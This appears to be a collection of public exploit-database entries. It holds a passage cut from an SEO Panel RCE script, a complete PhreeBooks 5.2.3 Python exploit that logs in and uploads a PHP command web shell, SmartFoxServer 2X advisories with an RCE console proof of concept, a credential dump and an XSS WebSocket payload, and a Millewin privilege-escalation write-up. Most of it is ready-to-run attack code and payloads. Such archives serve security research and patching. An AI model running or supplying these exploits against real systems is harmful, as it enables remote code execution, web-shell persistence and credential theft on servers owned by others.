form-data; name=\"escape\"\r\n\r\n\\\r\n-----------------------------193626971803013289998688514--\r\n" req0 = r.post(f"{TARGET}/websites.php", headers=headers, data=payload, verify=False) if req0.status_code == 200: print(colored("[SUCCESS]", "green"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n") else: print(colored("[FAILURE]", "red"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n") print("Please check if you are providing the right path or if server is live...") while(1): try: p = input("$> ") shell_url = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx={p}" control = r.get(shell_url, headers=headers, verify=False) if control.status_code == 200: print(colored("[SUCCESS]","green"), "Shell uploaded successfully !\r\n\r\n") print(control.text) else: print(colored("[ERROR]","red"), "Shell not uploaded... :(") print("Status code ->", colored(control.status_code, "red")) sys.exit(0) except KeyboardInterrupt: #Do self-cleanup on ctrl+c and wait a sec cleanup = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx=rm bc1ab68651691302e1434959b70cba26.php" requests.get(cleanup, headers=headers, verify=False) sleep(1) print(colored("\r\n[ERROR]", "red"), "Exitting ! Self-cleanup done !") break #Initilize parser for arguments def parse_argz(): parser = argparse.ArgumentParser(description='SEO Panel 4.6.0 authenticated RCE via file upload') parser.add_argument("-t", "--target", help="Target http/s:[IP/HOSTNAME]/seopanel/", type=str) parser.add_argument("-u", "--user", help="Username to login as", type=str) parser.add_argument("-p", "--passwd", help="Password to authenticate with", type=str) #args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) #Show help menu if no arguments provided args = parser.parse_args(args=None) if not args.target or not args.user or not args.passwd: parser.error(colored("[WARNING]","yellow"), "Not all arguments provided") sys.exit(1) else: TARGET = str(args.target) USER = str(args.user) PASS = str(args.passwd) exploit(TARGET, USER, PASS) if __name__ == "__main__": try: arty() parse_argz() except Exception as e: print(colored("[ERROR]","red"), f"-> {e}") sys.exit(1)
-
PhreeBooks 5.2.3 ERP - Remote Code Execution (2)
# Exploit Title: PhreeBooks 5.2.3 - Remote Code Execution # Date: 22 Jan 2021 # Exploit Author: Kr0ff # Vendor Homepage: https://www.phreesoft.com/ # Software Link: https://sourceforge.net/projects/phreebooks/ # Version: 5.2.3 # Tested on: Windows Server 2016 #!/usr/bin/env python3 ''' DESCRIPTION: - PhreeBooks ERP 5.2.3 is vulnerable to remote code execution due to authenticated unrestricted file upload in the "Image Manager" section of the application. VULNERABLE VERSION: - ver 5.2.3 AUTHOR: - Kr0ff Note: This is a rewrite of exploit: https://www.exploit-db.com/exploits/46645 Web shell used as payload: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 ''' #https://asciiart.website/index.php?art=animals/ try: import requests import argparse import sys import re import random from termcolor import colored from time import sleep except ImportError as e: print(colored("[ERROR]: ", "red"), f"{e}") def ascii_art(): example_usage = "python3 exploit.py -t http://10.10.10.120/phreebooks -u admin@phreebooks.com -p admin" art = ''' \ / \ o ^ o / \ ( ) / ____________(%%%%%%%)____________ ( / / )%%%%%%%( \ \ ) (___/___/__/ \__\___\___) ( / /(%%%%%%%)\ \ ) (__/___/ (%%%%%%%) \___\__) /( )\\ / (%%%%%) \\ (%%%) ! | _ \ |_ _ _ ___ ___| |__ ___ ___| |__ ___ | _/ ' \| '_/ -_) -_) '_ \/ _ \/ _ \ / /(_-< |_| |_||_|_| \___\___|_.__/\___/\___/_\_\/__/ ___ ___ ___ ___ ___ ___ | __| _ \ _ \ | _ \/ __| __| | _|| / _/ | / (__| _| |___|_|_\_| |_|_\\___|___| v5.2.3 ============================================== ''' print(art) print(example_usage) print("\r\n==============================================\r\n") def exploit(TARGET, USER, PASS): ''' PHP Reverse Shell ''' web_shell = """ <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> <script>document.getElementById("cmd").focus();</script> </html> """ ''' Perform the login and grab cookies of user ''' error_msg = "The information you entered cannot be validated, please retry." url = f"{TARGET}/index.php?&p=bizuno/portal/login" headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Referer": f"{TARGET}/index.php?p=", "Content-Type": "multipart/form-data; boundary=---------------------------211698600840544395022617560470", "Connection": "close"} login_data=f"-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name=\"UserID\"\r\n\r\n{USER}\r\n-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name=\"UserPW\"\r\n\r\n{PASS}\r\n-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name=\"UserLang\"\r\n\r\nen_US\r\n-----------------------------211698600840544395022617560470--\r\n" print(colored("[*]","blue"), f"Logging in using account: \"{USER}\"") r = requests.post(url, headers=headers, data=login_data, verify=False) if error_msg in r.text: print(colored("[-]","red"), f"Couldn't log in using account: \"{USER}\"...") print("Something could be wrong, check everything and try again...") sys.exit(1) print(colored("[+]","green"), f"Logged in with account: \"{USER}\"") else: print(colored("[+]","green"), f"Logged in with account: \"{USER}\"") try: print(colored("[*]","blue"), f"Grabbing cookies...") get_all_cookies = r.headers['Set-Cookie'] get_needed_cookies = re.split(r'\s', get_all_cookies)[6].replace(';','').replace('bizunoSession=','').strip() user_cookie = re.split(r'\s', get_all_cookies)[13].replace(';','').replace('bizunoUser=','').strip() except IndexError: print(colored("[-]","red"), f"Couldn't grab cookies...") print("Something could be wrong, check everything and try again...") sys.exit(1) ''' Continue with the exploitation part of the exploit Uploading a file with random name and .php extension, since "Image Manager" doesn't restrict file types ''' f_name = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(10)) + ".php" print(colored("[*]","blue"), f"Trying to upload file \"{f_name}\"") e_url = f"{TARGET}/index.php?&p=bizuno/image/manager&imgTarget=&imgMgrPath=&imgSearch=&imgAction=upload" e_cookies = {"bizunoLang": "en_US", "bizunoUser": f"{user_cookie}", "bizunoSession": f"{get_needed_cookies}"} e_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Referer": f"{TARGET}/index.php?", "Content-Type": "multipart/form-data; boundary=---------------------------211698600840544395022617560470", "Connection": "close"} e_data= f'-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name="imgSearch"\r\n\r\n\r\n-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name="imgFile"; filename="{f_name}"\r\nContent-Type: binary/octet-stream\r\n\r\n{web_shell}\n\r\n-----------------------------211698600840544395022617560470--\r\n' u_req = requests.post(e_url, headers=e_headers, cookies=e_cookies, data=e_data, verify=False) if u_req.status_code == 200: print(colored("[+]","green"), f"Uploaded file: \"{f_name}\"") else: print(colored("[-]","red"), f"Couldn't upload file: \"{f_name}\"") print("Something could be wrong, check everything and try again...") sys.exit(1) ''' Perform the execution of the PHP reverse shell by accessing the path to it ''' sreq = requests.get(f"{TARGET}/myFiles/images/{f_name}") if sreq.status_code == 200: print(colored("[+]", "green"), f"Webshell is uploaded to: {TARGET}/myFiles/images/{f_name}") elif sreq.status_code == 404: print(colored("[-]", "red"), f"Webshell was not uploaded !\r\nCheck your target...") print("Check if the upload file path is correct in the exploit and in the web application...") sys.exit(0) else: print(colored("[!]", "yellow"), f"Something could be wrong, check everything and try again...\r\n") sys.exit(1) ''' Initilize parser for arguments ''' def parse_argz(): parser = argparse.ArgumentParser(description='PhreeBooks 5.2.3 Remote Code Execution via Authenticated File Upload ') parser.add_argument("-t", "--target", help="Target http/s:[IP/HOSTNAME]/phreebooks", type=str, required=True) parser.add_argument("-u", "--user", help="Email to login as", type=str, required=True) parser.add_argument("-p", "--passwd", help="Password to authenticate with", type=str, required=True) #args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) #Show help menu if no arguments provided args = parser.parse_args(args=None) if len(sys.argv) == 1: parser.print_help() sys.exit(1) TARGET = str(args.target) USER = str(args.user) PASS = str(args.passwd) exploit(TARGET, USER, PASS) if __name__ == "__main__": try: ascii_art() parse_argz() except Exception as e: print(colored("[ERROR]","red"), f"-> {e}") sys.exit(1)
-
SmartFoxServer 2X 2.17.0 - God Mode Console Remote Code Execution
# Exploit Title: SmartFoxServer 2X 2.17.0 - God Mode Console Remote Code Execution # Date: 29.01.2021 # Exploit Author: LiquidWorm # Vendor Homepage: https://www.smartfoxserver.com Vendor: gotoAndPlay() Product web page: https://www.smartfoxserver.com Affected version: Server: 2.17.0 Remote Admin: 3.2.6 SmartFoxServer 2X, Pro, Basic Summary: SmartFoxServer (SFS) is a comprehensive SDK for rapidly developing multiplayer games and applications with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal Windows Platform, Android, Java, C++ and more. SmartFoxServer comes with a rich set of features, an impressive documentation set, tens of examples with their source, powerful administration tools and a very active support forum. Born in 2004, and evolving continuously since then, today SmartFoxServer is the leading middleware to create large scale multiplayer games, MMOs and virtual communities. Thanks to its simplicity of use, versatility and performance, it currently powers hundreds of projects all over the world, from small chats and turn-based games to massive virtual worlds and realtime games. Desc: An authenticated attacker can execute remote arbitrary Python code after enabling and unlocking the undocumented console module. Tested on: Windows (all) 64bit installer Linux/Unix 64bit installer MacOS (10.8+) 64bit installer Java 1.8.0_281 Python 3.9.1 Python 2.7.14 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5628 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5628.php 29.01.2021 -- ------------------------------------------------------ Undocumented functionality in software #INABIAF (https://en.wikipedia.org/wiki/Undocumented_feature) See also: - Backdoor (computing) - Easter egg (media) God Mode Console (Console Module) unlock instructions: ------------------------------------------------------ $ pwd /config/admin $ vi /admintool.xml # Uncomment <module id="Console" name="Console" description="Interact with the SmartFoxServer instance via command line"/> $ cd .. ;pwd /config $ touch ConsoleModuleUnlock.txt Mac/Windows PoC: ---------------- GET http://localhost:8080/admin/modules/console.html HTTP/1.1 -------------------------------------- ADMIN_CONSOLE, version 3.0.0 -------------------------------------- Type help() for assistance. > help() zm SFSZoneManager sfs SmartFoxServer um SFSUserManager api SFSApi bum SFSBannedUserManager xm SFSExtensionManager eng BitSwarmEngine sm DefaultSessionManager extras() For more custom function calls shortcuts() For keyboard shortcuts details > eng com.smartfoxserver.bitswarm.core.BitSwarmEngine@3823acc4 > extras() version(): Shows the Console extension version reloadScripts(): Reload the dynamic server scripts execute(): Launches the last loaded script again files(path): Shows the files at the specified path controller(id): Obtain one of the controllers from its id. 0=System, 1=Extension, 2=Smasher zones(): List of active zones > version() 2.0.1 > files(".") # Win64 ['config', 'data', 'extensions', 'lib', 'logs', 'sfs2x-service.exe', 'sfs2x-service.vmoptions', 'sfs2x-standalone.exe', 'sfs2x-standalone.vmoptions', 'sfs2x.bat', 'www', 'zones'] > files(".") # MacOS ['zones', 'config', 'www', 'extensions', 'logs', 'lib', 'sfs2x-service.vmoptions', 'sfs2x-standalone.vmoptions', 'sfs2x.-standalone', 'data', 'sfs2x-service'] > import os > os.name java > os.system("C:\\windows\\system32\\calc.exe") # Win64 1 > import popen2 > os.popen2("""osascript -e 'tell app "Calculator" to open'""") # MacOS 1 > gmc.py: ------- # # _____ _____ ____ _____ _____ ____ _____ # | __| | \ | | | \| __| # | | | | | | | | | | | | | | | __| # |_____|_____|____/ |_|_|_|_____|____/|_____| # _____ _____ _____ _____ _____ __ _____ # | | | | | __| | | | __| # | --| | | | | |__ | | | |__| __| # |_____|_____|_|___|_____|_____|_____|_____| # # SmartFoxServer2X Admin Console Scripts # # (c) 2012-2016 gotoAndPlay() # @author Marco Lapi # # Version 2.x # # Python Imports import types import sys # # This global variable allows to lock the Console so that it can't be misused # __CONSOLE_LOCK = False # Java Imports import java from com.smartfoxserver.v2.entities.data import * __scripts = [ {'name':'version()', 'doc':'Shows the Console extension version'}, {'name':'reloadScripts()', 'doc':'Reload the dynamic server scripts'}, {'name':'execute()', 'doc':'Launches the last loaded script again'}, {'name':'files(path)', 'doc':'Shows the files at the specified path'}, {'name':'controller(id)', 'doc':'Obtain one of the controllers from its id. 0=System, 1=Extension, 2=Smasher'}, {'name':'zones()', 'doc':'List of active zones'} ... ... javashell.py: ------------- # override defaults based on osType if osType == "nt": shellCmd = ["cmd", "/c"] envCmd = "set" envTransform = string.upper elif osType == "dos": shellCmd = ["command.com", "/c"] envCmd = "set" envTransform = string.upper elif osType == "posix": shellCmd = ["sh", "-c"] envCmd = "env" elif osType == "mac": curdir = ':' # override Posix directories pardir = '::' elif osType == "None": pass # else: # # may want a warning, but only at high verbosity: # __warn( "Unknown os type '%s', using default behavior." % osType ) return _ShellEnv( shellCmd, envCmd, envTransform ) com--| |--smartfoxserver--| |--v2--| |--admin--| |--handlers--| |--requests--| |--ConsoleModuleReqHandler.java: --------------------------------------------------------------------------------------------------- package com.smartfoxserver.v2.admin.handlers.requests; import org.python.core.PyJavaInstance; import org.python.core.PyException; import com.smartfoxserver.v2.SmartFoxServer; import java.io.IOException; import org.apache.commons.io.FileUtils; import java.io.File; import com.smartfoxserver.bitswarm.core.BitSwarmEngine; import org.python.core.PyString; import org.python.core.Py; import org.python.core.PySystemState; import com.smartfoxserver.v2.entities.data.SFSObject; import com.smartfoxserver.v2.extensions.ExtensionLogLevel; import com.smartfoxserver.v2.entities.data.ISFSObject; import com.smartfoxserver.v2.entities.User; import org.python.core.PyObject; import org.python.util.PythonInterpreter; import com.smartfoxserver.v2.annotations.Instantiation; import com.smartfoxserver.v2.annotations.MultiHandler; @MultiHandler @Instantiation(Instantiation.InstantiationMode.SINGLE_INSTANCE) public class ConsoleModuleReqHandler extends BaseAdminModuleReqHandler { public static final String MODULE_ID = "Console"; public static final String VER = "2.0.1"; private static final String MODULE_UNLOCK_FILE = "ConsoleModuleUnlock.txt"; private static final String COMMANDS_PREFIX = "console"; private static final String FN_HINTS = "__hints__"; private static final String CONSOLE_LOCK = "__CONSOLE_LOCK"; private static final String CMD_RELOAD_SCRIPTS = "reloadScripts()"; private static final String SCRIPT_PATH = "config/admin/gmc/"; private static final String MAIN_SCRIPT = "gmc.py"; private static final String GRID_SCRIPT = "gmc-grid.py"; private final String REQ_CMD = "cmd"; private final String REQ_HINT = "hint"; private final String REQ_SCRIPT = "script"; private final String RES_ERROR_LOCKED = "locked"; protected PythonInterpreter runTime; private PyObject fnGetHints; private volatile boolean inited; public ConsoleModuleReqHandler() { super("console", "Console"); this.inited = false; } public void handleAdminRequest(final User sender, final ISFSObject params) { if (!this.inited) { this.init(); } if (!this.isModuleUnlocked()) { this.trace(ExtensionLogLevel.WARN, "Console module is locked. Request denied"); this.sendResponse("locked", (ISFSObject)new SFSObject(), sender); return; } final String cmd = params.getUtfString("__[[REQUEST_ID]]__"); if (cmd.equals("cmd")) { this.handleCommand(params, sender); } else if (cmd.equals("hint")) { this.handleCodeHint(params, sender); } else if (cmd.equals("script")) { this.handleScript(params, sender); } } public synchronized void init() { final String script = this.loadMainScript(); if (script == null) { throw new RuntimeException("Cannot load AdminConsole's helper script! Plase reinstall this Extension making sure to follow the documentation step by step."); } this.runTime = new PythonInterpreter((PyObject)null, new PySystemState()); final PySystemState sys = Py.getSystemState(); sys.path.append((PyObject)new PyString("./extensions/")); sys.path.append((PyObject)new PyString("./extensions/__lib__/AdminConsole/")); this.runTime.set("sfs", (Object)this.sfs); this.runTime.set("eng", (Object)BitSwarmEngine.getInstance()); this.runTime.set("api", (Object)this.sfs.getAPIManager().getSFSApi()); this.runTime.set("um", (Object)this.sfs.getUserManager()); this.runTime.set("zm", (Object)this.sfs.getZoneManager()); this.runTime.set("xm", (Object)this.sfs.getExtensionManager()); this.runTime.set("bum", (Object)this.sfs.getBannedUserManager()); this.runTime.set("sm", (Object)this.sfs.getSessionManager()); this.runTime.set("__parent__", (Object)this); this.runTime.exec("_2XGlobals_ = {'sfs':sfs,'eng':eng,'api':api,'um':um,'zm':zm,'xm':xm,'bum':bum,'sm':sm}"); this.runTime.exec(script); this.fnGetHints = this.runTime.get("__hints__"); this.inited = true; } private String loadMainScript() { String script = null; try { script = FileUtils.readFileToString(new File("config/admin/gmc/gmc.py")); } catch (IOException ex) {} if (SmartFoxServer.grid()) { String gridScript = null; try { gridScript = FileUtils.readFileToString(new File("config/admin/gmc/gmc-grid.py")); script = String.valueOf(script) + gridScript; } catch (IOException ex2) {} } return script; } private void handleCommand(final ISFSObject params, final User sender) { PyException err = null; final String cmd = params.getUtfString("c"); PyObject result = null; ISFSObject response = null; if (!cmd.equals("reloadScripts()")) { this.checkConsoleLock(); } try { result = this.runTime.eval(cmd); } catch (PyException err3) { try { this.runTime.exec(cmd); } catch (PyException err2) { err = err2; } } if (result != null) { String repr = null; if (result instanceof PyJavaInstance) { final Object o = ((PyJavaInstance)result).__tojava__((Class)Object.class); repr = o.toString(); } else { repr = result.toString(); } repr = this.checkHTML(repr); response = (ISFSObject)new SFSObject(); response.putUtfString("r", repr); } else if (err != null) { response = (ISFSObject)new SFSObject(); response.putUtfString("e", err.toString()); } this.sendResponse("cmd", response, sender); } private void handleCodeHint(final ISFSObject params, final User sender) { this.checkConsoleLock(); final String cmd = params.getUtfString("c"); try { final PyObject pyObj = this.runTime.eval(cmd); final PyObject res = this.fnGetHints.__call__(pyObj, (PyObject)new PyJavaInstance((Object)sender)); final SFSObject sfso = (SFSObject)res.__tojava__((Class)SFSObject.class); this.sendResponse("hint", (ISFSObject)sfso, sender); } catch (PyException ex) {} } private void handleScript(final ISFSObject params, final User sender) { this.checkConsoleLock(); final byte[] data = params.getByteArray("script"); final String scriptData = new String(data); final ISFSObject response = (ISFSObject)new SFSObject(); try { this.runTime.exec(scriptData); final PyObject fnExecute = this.runTime.get("execute"); final PyObject res = fnExecute.__call__(); response.putUtfString("r", res.toString()); } catch (PyException err) { response.putUtfString("e", err.toString()); } this.sendResponse("script", response, sender); } private String checkHTML(String data) { if (data.indexOf(60) > -1 && data.indexOf("<span") == -1) { data = data.replaceAll("\\<", "<"); return data.replaceAll("\\>", ">"); } return data; } private void checkConsoleLock() { final Boolean locked = (Boolean)this.runTime.get("__CONSOLE_LOCK", (Class)Boolean.class); if (locked) { throw new IllegalStateException("Admin Console is locked."); } } private boolean isModuleUnlocked() { final File lock = new File("config/ConsoleModuleUnlock.txt"); return lock.exists(); } }
-
SmartFoxServer 2X 2.17.0 - Credentials Disclosure
# Exploit Title: SmartFoxServer 2X 2.17.0 - Credentials Disclosure # Date: 29.01.2021 # Exploit Author: LiquidWorm # Vendor Homepage: https://www.smartfoxserver.com SmartFoxServer 2X 2.17.0 Credentials Disclosure Vendor: gotoAndPlay() Product web page: https://www.smartfoxserver.com Affected version: Server: 2.17.0 Remote Admin: 3.2.6 SmartFoxServer 2X, Pro, Basic Summary: SmartFoxServer (SFS) is a comprehensive SDK for rapidly developing multiplayer games and applications with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal Windows Platform, Android, Java, C++ and more. SmartFoxServer comes with a rich set of features, an impressive documentation set, tens of examples with their source, powerful administration tools and a very active support forum. Born in 2004, and evolving continuously since then, today SmartFoxServer is the leading middleware to create large scale multiplayer games, MMOs and virtual communities. Thanks to its simplicity of use, versatility and performance, it currently powers hundreds of projects all over the world, from small chats and turn-based games to massive virtual worlds and realtime games. Desc: The application stores sensitive information in an unencrypted XML file called /config/server.xml. A local attacker that has access to the current user session can successfully disclose plain-text credentials that can be used to bypass authentication to the affected server. Tested on: Windows (all) 64bit installer Linux/Unix 64bit installer MacOS (10.8+) 64bit installer Java 1.8.0_281 Python 3.9.1 Python 2.7.14 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5627 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5627.php CWE ID: CWE-312 CWE URL: https://cwe.mitre.org/data/definitions/312.html 29.01.2021 -- PS C:\Users\t00t\SmartFoxServer_2X\SFS2X\config> Get-Content server.xml | Select-String -Pattern passw -Context 1,0 <login>sfsadmin</login> > <password>Waddup</password> <login>testingus</login> > <password>123456</password> <mailUser>username</mailUser> > <mailPass>password</mailPass> C:\Users\t00t\SmartFoxServer_2X\SFS2X\config>icacls server.xml server.xml NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) LAB42\t00t:(I)(F)
-
SmartFoxServer 2X 2.17.0 - God Mode Console WebSocket XSS
# Exploit Title: SmartFoxServer 2X 2.17.0 - God Mode Console WebSocket XSS # Date: 29.01.2021 # Exploit Author: LiquidWorm # Vendor Homepage: https://www.smartfoxserver.com Vendor: gotoAndPlay() Product web page: https://www.smartfoxserver.com Affected version: Server: 2.17.0 Remote Admin: 3.2.6 SmartFoxServer 2X, Pro, Basic Summary: SmartFoxServer (SFS) is a comprehensive SDK for rapidly developing multiplayer games and applications with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal Windows Platform, Android, Java, C++ and more. SmartFoxServer comes with a rich set of features, an impressive documentation set, tens of examples with their source, powerful administration tools and a very active support forum. Born in 2004, and evolving continuously since then, today SmartFoxServer is the leading middleware to create large scale multiplayer games, MMOs and virtual communities. Thanks to its simplicity of use, versatility and performance, it currently powers hundreds of projects all over the world, from small chats and turn-based games to massive virtual worlds and realtime games. Desc: Authenticated Cross-Site Scripting was discovered. Input passed to the AdminTool console is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML code in a user's browser session in context of an affected site. ----------------------------------------------------------------- /ConsoleModuleReqHandler.java: ------------------------------ private String checkHTML(String data) { if (data.indexOf(60) > -1 && data.indexOf("<span") == -1) { data = data.replaceAll("\\<", "<"); return data.replaceAll("\\>", ">"); } return data; ----------------------------------------------------------------- Tested on: Windows (all) 64bit installer Linux/Unix 64bit installer MacOS (10.8+) 64bit installer Java 1.8.0_281 Python 3.9.1 Python 2.7.14 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5626 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5626.php 29.01.2021 -- Typing payload: <script>confirm(document.URL) WebSocket payload: \x80\x00\x52\x12\x00\x03\x00\x01\x63\x02\x01\x00 \x01\x61\x03\x00\x0D\x00\x01\x70\x12\x00\x03\x00 \x01\x63\x08\x00\x0C\x63\x6F\x6E\x73\x6F\x6C\x65 \x2E\x68\x69\x6E\x74\x00\x01\x72\x04\xFF\xFF\xFF \xFF\x00\x01\x70\x12\x00\x01\x00\x01\x63\x08\x00 \x18\x3C\x73\x63\x72\x69\x70\x74\x3E\x63\x6F\x6E \x66\x69\x72\x6D\x28\x64\x6F\x63\x75\x6D\x65\x6E \x74\x2E\x55\x52\x4C\x29
-
Millewin 13.39.146.1 - Local Privilege Escalation
# Exploit Title: Millewin 13.39.146.1 - Local Privilege Escalation # Date: 2021-02-07 # Author: Andrea Intilangelo # Vendor Homepage: https://www.millewin.it # Software Homepage: https://www.millewin.it/index.php/prodotti/millewin # Software Link: https://download.millewin.it/files/Millewin/setup/InstMille_Demo_13.39_2019PS.exe # Version: 13.39.028 – 146.1.9 # Tested on: Microsoft Windows 10 Enterprise x64 # CVE: CVE-2021-3394 Millennium Millewin also known as "Cartella clinica" Vendor: Millennium S.r.l. / Dedalus Group / Dedalus Italia S.p.a. Affected version: 13.39.028 13.39.28.3342 13.39.146.1 - Summary (from online translator): Millewin represents the Professional Solution par excellence, recognized and supported by over 18,000 doctors. Millewin is able to guarantee ideal management of the patient's medical records, it also adheres perfectly to the most recent requirements of the General Practitioner and, thanks to the latest functional innovations, it assists the doctor in the diagnosis and management of therapy. It can be used, at no additional cost, for group medicine and at the secretarial station. Millewin is integrated with all Regional and Corporate Projects. Millewin modules: ACN, MilleDSS, MilleAIR, Redazione e invio fatture, MilleBook. Vuln desc: The application is prone to insecure permissions in its folders that allows unprivileged user complete control. An attacker can exploit the vulnerability by arbitrarily replacing file(s) invoked by service(s)/startup regkey impacted. File(s) will be executed with SYSTEM privileges. The application is subject to insecure folders permissions issue impacting the services 'MillewinTaskService' and 'PDS Server' for Windows deployed as part of Millewin suite (Cartella clinica) software application, and the registy runkey responsible to start update (MilleUpdater) task. This allow an authorized but non-privileged local or remote user to execute arbitrary code with elevated privileges on the system. An attacker can easily take advantage of the flaw arbitrarily replacing the impacted file(s) that will be executed during application startup or reboot. If successful, the malicious file(s) would execute with the elevated privileges of the application. The application also suffers from unquoted service path issues. (1) Impacted executable on startup by regkey. Any low privileged user can elevate their privileges abusing this scenario: Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Value name: MilleLiveUpdate Value data: "C:\Program Files (x86)\Millewin\MilleUpdater\MilleUpdater.exe" (2) Impacted services. Any low privileged user can elevate their privileges abusing any of these (also unquoted) services: Millewin, operazioni pianificate MillewinTaskService C:\Program Files (x86)\Millewin\GestioneTaskService.exe Auto PDS Server PDS Server C:\Program Files (x86)\Millewin\WatchDogService.exe Auto Details: NOME_SERVIZIO: Millewintaskservice TIPO : 10 WIN32_OWN_PROCESS TIPO_AVVIO : 2 AUTO_START CONTROLLO_ERRORE : 1 NORMAL NOME_PERCORSO_BINARIO : C:\Program Files (x86)\Millewin\GestioneTaskService.exe GRUPPO_ORDINE_CARICAMENTO : TAG : 0 NOME_VISUALIZZATO : Millewin, operazioni pianificate DIPENDENZE : SERVICE_START_NAME : LocalSystem NOME_SERVIZIO: PDSserver TIPO : 10 WIN32_OWN_PROCESS TIPO_AVVIO : 2 AUTO_START CONTROLLO_ERRORE : 1 NORMAL NOME_PERCORSO_BINARIO : C:\Program Files (x86)\Millewin\WatchDogService.exe GRUPPO_ORDINE_CARICAMENTO : TAG : 0 NOME_VISUALIZZATO : PDS Server DIPENDENZE : SERVICE_START_NAME : LocalSystem (3) Folder permissions. Insecure folders permissions issue: C:\Program Files (x86)\Millewin BUILTIN\Users:(OI)(CI)(F) Everyone:(OI)(CI)(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(OI)(CI)(IO)(ID)(accesso speciale:) GENERIC_READ GENERIC_EXECUTE ...[SNIP]... C:\Program Files (x86)\Millewin\MilleUpdater BUILTIN\Users:(OI)(CI)(ID)F Everyone:(OI)(CI)(ID)F NT SERVICE\TrustedInstaller:(ID)F NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(IO)(ID)(accesso speciale:) GENERIC_READ GENERIC_EXECUTE ...[SNIP]...